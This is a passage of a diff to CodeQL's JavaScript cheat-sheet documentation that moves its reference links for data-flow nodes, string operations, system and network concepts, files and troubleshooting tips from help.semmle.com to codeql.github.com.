`SourceNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/type.Sources$SourceNode.html>`__ -- call to a function or constructor - - `getArgument <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$InvokeNode$getArgument.1.html>`__ -- an argument to the call - - `getCalleeNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$InvokeNode$getCalleeNode.0.html>`__ -- node being invoked as a function - - `getCalleeName <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$InvokeNode$getCalleeName.0.html>`__ -- name of the variable or property being called - - `getOptionArgument <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$InvokeNode$getOptionArgument.2.html>`__ -- a "named argument" passed in through an object literal - - `getCallback <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$InvokeNode$getCallback.1.html>`__ -- a function passed as a callback - - `getACallee <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$InvokeNode$getACallee.0.html>`__ - a function being called here - - (MethodCallNode).\ `getMethodName <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$MethodCallNode$getMethodName.0.html>`__ -- name of the method being invoked - - (MethodCallNode).\ `getReceiver <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$CallNode$getReceiver.0.html>`__ -- receiver of the method call -- `FunctionNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$FunctionNode.html>`__ extends `SourceNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/type.Sources$SourceNode.html>`__ -- definition of a function, including closures, methods, and class constructors - - `getName <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$FunctionNode$getName.0.html>`__ -- name of the function, derived from a variable or property name - - `getParameter <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$FunctionNode$getParameter.1.html>`__ -- a parameter of the function - - `getReceiver <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$FunctionNode$getReceiver.0.html>`__ -- the node representing the value of ``this`` - - `getAReturn <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$FunctionNode$getAReturn.0.html>`__ -- get a returned expression -- `ParameterNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$ParameterNode.html>`__ extends `SourceNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/type.Sources$SourceNode.html>`__ -- parameter of a function - - `getName <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$ParameterNode$getName.0.html>`__ -- the parameter name, if it has one -- `ClassNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$ClassNode.html>`__ extends `SourceNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/type.Sources$SourceNode.html>`__ -- class declaration or function that acts as a class - - `getName <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$ClassNode$getName.0.html>`__ -- name of the class, derived from a variable or property name - - `getConstructor <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$ClassNode$getConstructor.0.html>`__ -- the constructor function - - `getInstanceMethod <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$ClassNode$getInstanceMethod.1.html>`__ -- get an instance method by name - - `getStaticMethod <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$ClassNode$getStaticMethod.1.html>`__ -- get a static method by name - - `getAnInstanceReference <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$ClassNode$getAnInstanceReference.0.html>`__ -- find references to an instance of the class - - `getAClassReference <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$ClassNode$getAClassReference.0.html>`__ -- find references to the class itself -- `ObjectLiteralNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$ObjectLiteralNode.html>`__ extends `SourceNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/type.Sources$SourceNode.html>`__ -- object literal - - `getAPropertyWrite <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAPropertyWrite.1.html>`__ -- a property in the object literal - - `getAPropertySource <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAPropertySource.1.html>`__ -- value flowing into a property -- `ArrayCreationNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$ArrayCreationNode.html>`__ extends `SourceNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/type.Sources$SourceNode.html>`__ -- array literal or call to ``Array`` constructor - - `getElement <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$ArrayCreationNode$getElement.1.html>`__ -- an element of the array -- `PropRef <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/type.DataFlow$DataFlow$PropRef.html>`__, `PropRead <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/type.DataFlow$DataFlow$PropRead.html>`__, `PropWrite <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/type.DataFlow$DataFlow$PropWrite.html>`__ -- read or write of a property - - `getPropertyName <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$PropRef$getPropertyName.0.html>`__ -- name of the property, if it is constant - - `getPropertyNameExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$PropRef$getPropertyNameExpr.0.html>`__ -- expression holding the name of the property - - `getBase <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$PropRef$getBase.0.html>`__ -- object whose property is accessed - - (PropWrite).\ `getRhs <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$PropWrite$getRhs.0.html>`__ -- right-hand side of the property assignment +- `Node <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/type.DataFlow$DataFlow$Node.html>`__ -- something that can have a value, such as an expression, declaration, or SSA variable + - `getALocalSource <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$Node$getALocalSource.0.html>`__ -- find the node that this came from + - `getTopLevel <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$Node$getTopLevel.0.html>`__ -- top-level scope enclosing this node + - `getFile <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$Node$getFile.0.html>`__ -- file containing this node + - `getIntValue <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$Node$getIntValue.0.html>`__ -- value of this node if it's is an integer constant + - `getStringValue <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$Node$getStringValue.0.html>`__ -- value of this node if it's is a string constant + - `mayHaveBooleanValue <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$Node$mayHaveBooleanValue.1.html>`__ -- check if the value is ``true`` or ``false`` +- `SourceNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/type.Sources$SourceNode.html>`__ extends `Node <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/type.DataFlow$DataFlow$Node.html>`__ -- function call, parameter, object creation, or reference to a property or global variable + - `getACall <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getACall.0.html>`__ -- find calls with this as the callee + - `getAnInstantiation <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAnInstantiation.0.html>`__ -- find ``new``-calls with this as the callee + - `getAnInvocation <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAnInvocation.0.html>`__ -- find calls or ``new``-calls with this as the callee + - `getAMethodCall <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAMethodCall.1.html>`__ -- find method calls with this as the receiver + - `getAMemberCall <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAMemberCall.1.html>`__ -- find calls with a member of this as the receiver + - `getAPropertyRead <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAPropertyRead.1.html>`__ -- find property reads with this as the base + - `getAPropertyWrite <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAPropertyWrite.1.html>`__ -- find property writes with this as the base + - `getAPropertySource <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAPropertySource.1.html>`__ -- find nodes flowing into a property of this node +- `InvokeNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$InvokeNode.html>`__, `NewNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$NewNode.html>`__, `CallNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$CallNode.html>`__, `MethodCallNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$MethodCallNode.html>`__ extends `SourceNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/type.Sources$SourceNode.html>`__ -- call to a function or constructor + - `getArgument <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$InvokeNode$getArgument.1.html>`__ -- an argument to the call + - `getCalleeNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$InvokeNode$getCalleeNode.0.html>`__ -- node being invoked as a function + - `getCalleeName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$InvokeNode$getCalleeName.0.html>`__ -- name of the variable or property being called + - `getOptionArgument <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$InvokeNode$getOptionArgument.2.html>`__ -- a "named argument" passed in through an object literal + - `getCallback <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$InvokeNode$getCallback.1.html>`__ -- a function passed as a callback + - `getACallee <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$InvokeNode$getACallee.0.html>`__ - a function being called here + - (MethodCallNode).\ `getMethodName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$MethodCallNode$getMethodName.0.html>`__ -- name of the method being invoked + - (MethodCallNode).\ `getReceiver <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$CallNode$getReceiver.0.html>`__ -- receiver of the method call +- `FunctionNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$FunctionNode.html>`__ extends `SourceNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/type.Sources$SourceNode.html>`__ -- definition of a function, including closures, methods, and class constructors + - `getName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$FunctionNode$getName.0.html>`__ -- name of the function, derived from a variable or property name + - `getParameter <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$FunctionNode$getParameter.1.html>`__ -- a parameter of the function + - `getReceiver <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$FunctionNode$getReceiver.0.html>`__ -- the node representing the value of ``this`` + - `getAReturn <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$FunctionNode$getAReturn.0.html>`__ -- get a returned expression +- `ParameterNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$ParameterNode.html>`__ extends `SourceNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/type.Sources$SourceNode.html>`__ -- parameter of a function + - `getName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$ParameterNode$getName.0.html>`__ -- the parameter name, if it has one +- `ClassNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$ClassNode.html>`__ extends `SourceNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/type.Sources$SourceNode.html>`__ -- class declaration or function that acts as a class + - `getName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$ClassNode$getName.0.html>`__ -- name of the class, derived from a variable or property name + - `getConstructor <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$ClassNode$getConstructor.0.html>`__ -- the constructor function + - `getInstanceMethod <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$ClassNode$getInstanceMethod.1.html>`__ -- get an instance method by name + - `getStaticMethod <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$ClassNode$getStaticMethod.1.html>`__ -- get a static method by name + - `getAnInstanceReference <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$ClassNode$getAnInstanceReference.0.html>`__ -- find references to an instance of the class + - `getAClassReference <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$ClassNode$getAClassReference.0.html>`__ -- find references to the class itself +- `ObjectLiteralNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$ObjectLiteralNode.html>`__ extends `SourceNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/type.Sources$SourceNode.html>`__ -- object literal + - `getAPropertyWrite <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAPropertyWrite.1.html>`__ -- a property in the object literal + - `getAPropertySource <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getAPropertySource.1.html>`__ -- value flowing into a property +- `ArrayCreationNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$ArrayCreationNode.html>`__ extends `SourceNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/type.Sources$SourceNode.html>`__ -- array literal or call to ``Array`` constructor + - `getElement <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$ArrayCreationNode$getElement.1.html>`__ -- an element of the array +- `PropRef <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/type.DataFlow$DataFlow$PropRef.html>`__, `PropRead <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/type.DataFlow$DataFlow$PropRead.html>`__, `PropWrite <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/type.DataFlow$DataFlow$PropWrite.html>`__ -- read or write of a property + - `getPropertyName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$PropRef$getPropertyName.0.html>`__ -- name of the property, if it is constant + - `getPropertyNameExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$PropRef$getPropertyNameExpr.0.html>`__ -- expression holding the name of the property + - `getBase <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$PropRef$getBase.0.html>`__ -- object whose property is accessed + - (PropWrite).\ `getRhs <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$PropWrite$getRhs.0.html>`__ -- right-hand side of the property assignment StringOps module ---------------- -- StringOps::`Concatenation <https://help.semmle.com/qldoc/javascript/semmle/javascript/StringOps.qll/type.StringOps$StringOps$Concatenation.html>`__ -- string concatenation, using a plus operator, template literal, or array join call -- StringOps::`StartsWith <https://help.semmle.com/qldoc/javascript/semmle/javascript/StringOps.qll/type.StringOps$StringOps$StartsWith.html>`__ -- check if a string starts with something -- StringOps::`EndsWith <https://help.semmle.com/qldoc/javascript/semmle/javascript/StringOps.qll/type.StringOps$StringOps$EndsWith.html>`__ -- check if a string ends with something -- StringOps::`Includes <https://help.semmle.com/qldoc/javascript/semmle/javascript/StringOps.qll/type.StringOps$StringOps$Includes.html>`__ -- check if a string contains something +- StringOps::`Concatenation <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/StringOps.qll/type.StringOps$StringOps$Concatenation.html>`__ -- string concatenation, using a plus operator, template literal, or array join call +- StringOps::`StartsWith <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/StringOps.qll/type.StringOps$StringOps$StartsWith.html>`__ -- check if a string starts with something +- StringOps::`EndsWith <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/StringOps.qll/type.StringOps$StringOps$EndsWith.html>`__ -- check if a string ends with something +- StringOps::`Includes <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/StringOps.qll/type.StringOps$StringOps$Includes.html>`__ -- check if a string contains something Utility -------- -- `ExtendCall <https://help.semmle.com/qldoc/javascript/semmle/javascript/Extend.qll/type.Extend$ExtendCall.html>`__ -- call that copies properties from one object to another -- `JsonParserCall <https://help.semmle.com/qldoc/javascript/semmle/javascript/JsonParsers.qll/type.JsonParsers$JsonParserCall.html>`__ -- call that deserializes a JSON string -- `PropertyProjection <https://help.semmle.com/qldoc/javascript/semmle/javascript/frameworks/PropertyProjection.qll/type.PropertyProjection$PropertyProjection.html>`__ -- call that extracts nested properties by name +- `ExtendCall <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Extend.qll/type.Extend$ExtendCall.html>`__ -- call that copies properties from one object to another +- `JsonParserCall <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JsonParsers.qll/type.JsonParsers$JsonParserCall.html>`__ -- call that deserializes a JSON string +- `PropertyProjection <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/PropertyProjection.qll/type.PropertyProjection$PropertyProjection.html>`__ -- call that extracts nested properties by name System and Network ------------------ -- `ClientRequest <https://help.semmle.com/qldoc/javascript/semmle/javascript/frameworks/ClientRequests.qll/type.ClientRequests$ClientRequest.html>`__ -- outgoing network request -- `DatabaseAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/Concepts.qll/type.Concepts$DatabaseAccess.html>`__ -- query being submitted to a database -- `FileNameSource <https://help.semmle.com/qldoc/javascript/semmle/javascript/Concepts.qll/type.Concepts$FileNameSource.html>`__ -- reference to a filename -- `FileSystemAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/Concepts.qll/type.Concepts$FileSystemAccess.html>`__ -- file system operation - - `FileSystemReadAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/Concepts.qll/type.Concepts$FileSystemReadAccess.html>`__ -- reading the contents of a file - - `FileSystemWriteAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/Concepts.qll/type.Concepts$FileSystemWriteAccess.html>`__ -- writing to the contents of a file -- `PersistentReadAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/Concepts.qll/type.Concepts$PersistentReadAccess.html>`__ -- reading from persistent storage, like cookies -- `PersistentWriteAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/Concepts.qll/type.Concepts$PersistentWriteAccess.html>`__ -- writing to persistent storage -- `RemoteFlowSource <https://help.semmle.com/qldoc/javascript/semmle/javascript/security/dataflow/RemoteFlowSources.qll/type.RemoteFlowSources$RemoteFlowSource.html>`__ -- source of untrusted user input -- `SystemCommandExecution <https://help.semmle.com/qldoc/javascript/semmle/javascript/Concepts.qll/type.Concepts$SystemCommandExecution.html>`__ -- execution of a system command +- `ClientRequest <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/ClientRequests.qll/type.ClientRequests$ClientRequest.html>`__ -- outgoing network request +- `DatabaseAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Concepts.qll/type.Concepts$DatabaseAccess.html>`__ -- query being submitted to a database +- `FileNameSource <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Concepts.qll/type.Concepts$FileNameSource.html>`__ -- reference to a filename +- `FileSystemAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Concepts.qll/type.Concepts$FileSystemAccess.html>`__ -- file system operation + - `FileSystemReadAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Concepts.qll/type.Concepts$FileSystemReadAccess.html>`__ -- reading the contents of a file + - `FileSystemWriteAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Concepts.qll/type.Concepts$FileSystemWriteAccess.html>`__ -- writing to the contents of a file +- `PersistentReadAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Concepts.qll/type.Concepts$PersistentReadAccess.html>`__ -- reading from persistent storage, like cookies +- `PersistentWriteAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Concepts.qll/type.Concepts$PersistentWriteAccess.html>`__ -- writing to persistent storage +- `RemoteFlowSource <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/security/dataflow/RemoteFlowSources.qll/type.RemoteFlowSources$RemoteFlowSource.html>`__ -- source of untrusted user input +- `SystemCommandExecution <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Concepts.qll/type.Concepts$SystemCommandExecution.html>`__ -- execution of a system command Files ----- -- `File <https://help.semmle.com/qldoc/javascript/semmle/javascript/Files.qll/type.Files$File.html>`__, - `Folder <https://help.semmle.com/qldoc/javascript/semmle/javascript/Files.qll/type.Files$Folder.html>`__ extends - `Container <https://help.semmle.com/qldoc/javascript/semmle/javascript/Files.qll/type.Files$Container.html>`__ -- file or folder in the database +- `File <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$File.html>`__, + `Folder <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$Folder.html>`__ extends + `Container <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$Container.html>`__ -- file or folder in the database - - `getBaseName <https://help.semmle.com/qldoc/javascript/semmle/javascript/Files.qll/predicate.Files$Container$getBaseName.0.html>`__ -- the name of the file or folder - - `getRelativePath <https://help.semmle.com/qldoc/javascript/semmle/javascript/Files.qll/predicate.Files$Container$getRelativePath.0.html>`__ -- path relative to the database root + - `getBaseName <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/predicate.Files$Container$getBaseName.0.html>`__ -- the name of the file or folder + - `getRelativePath <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/predicate.Files$Container$getRelativePath.0.html>`__ -- path relative to the database root AST nodes --------- @@ -148,18 +148,18 @@ See also: ":doc:`Abstract syntax tree classes for working with JavaScript and Ty Conversion between DataFlow and AST nodes: -- `Node.asExpr() <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$Node$asExpr.0.html>`__ -- convert node to an expression, if possible -- `Expr.flow() <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/predicate.AST$AST$ValueNode$flow.0.html>`__ -- convert expression to a node (always possible) -- `DataFlow::valueNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$valueNode.1.html>`__ -- convert expression or declaration to a node -- `DataFlow::parameterNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$parameterNode.1.html>`__ -- convert a parameter to a node -- `DataFlow::thisNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$thisNode.1.html>`__ -- get the receiver node of a function +- `Node.asExpr() <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$Node$asExpr.0.html>`__ -- convert node to an expression, if possible +- `Expr.flow() <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/predicate.AST$AST$ValueNode$flow.0.html>`__ -- convert expression to a node (always possible) +- `DataFlow::valueNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$valueNode.1.html>`__ -- convert expression or declaration to a node +- `DataFlow::parameterNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$parameterNode.1.html>`__ -- convert a parameter to a node +- `DataFlow::thisNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$thisNode.1.html>`__ -- get the receiver node of a function String matching --------------- -- x.\ `matches <https://help.semmle.com/qldoc/javascript/predicate.string$matches.1.html>`__\ ("escape%") -- holds if x starts with "escape" -- x.\ `regexpMatch <https://help.semmle.com/qldoc/javascript/predicate.string$regexpMatch.1.html>`__\ ("escape.*") -- holds if x starts with "escape" -- x.\ `regexpMatch <https://help.semmle.com/qldoc/javascript/predicate.string$regexpMatch.1.html>`__\ ("(?i).*escape.*") -- holds if x contains +- x.\ `matches <https://codeql.github.com/codeql-standard-libraries/javascript/predicate.string$matches.1.html>`__\ ("escape%") -- holds if x starts with "escape" +- x.\ `regexpMatch <https://codeql.github.com/codeql-standard-libraries/javascript/predicate.string$regexpMatch.1.html>`__\ ("escape.*") -- holds if x starts with "escape" +- x.\ `regexpMatch <https://codeql.github.com/codeql-standard-libraries/javascript/predicate.string$regexpMatch.1.html>`__\ ("(?i).*escape.*") -- holds if x contains "escape" (case insensitive) Type tracking @@ -208,16 +208,16 @@ Use the following template to define backward type tracking predicates: Troubleshooting --------------- -- Using a call node as as sink? Try using `getArgument <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$InvokeNode$getArgument.1.html>`__ +- Using a call node as as sink? Try using `getArgument <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$InvokeNode$getArgument.1.html>`__ to get an *argument* of the call node instead. -- Trying to use `moduleImport <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$moduleImport.1.html>`__ - or `moduleMember <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$moduleMember.2.html>`__ +- Trying to use `moduleImport <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$moduleImport.1.html>`__ + or `moduleMember <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/predicate.Nodes$moduleMember.2.html>`__ as a call node? - Try using `getACall <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getACall.0.html>`__ + Try using `getACall <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Sources.qll/predicate.Sources$SourceNode$getACall.0.html>`__ to get a *call* to the imported function, instead of the function itself. - Compilation fails due to incompatible types? Make sure AST nodes and - DataFlow nodes are not mixed up. Use `asExpr() <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/predicate.DataFlow$DataFlow$Node$asExpr.0.html>`__ or - `flow() 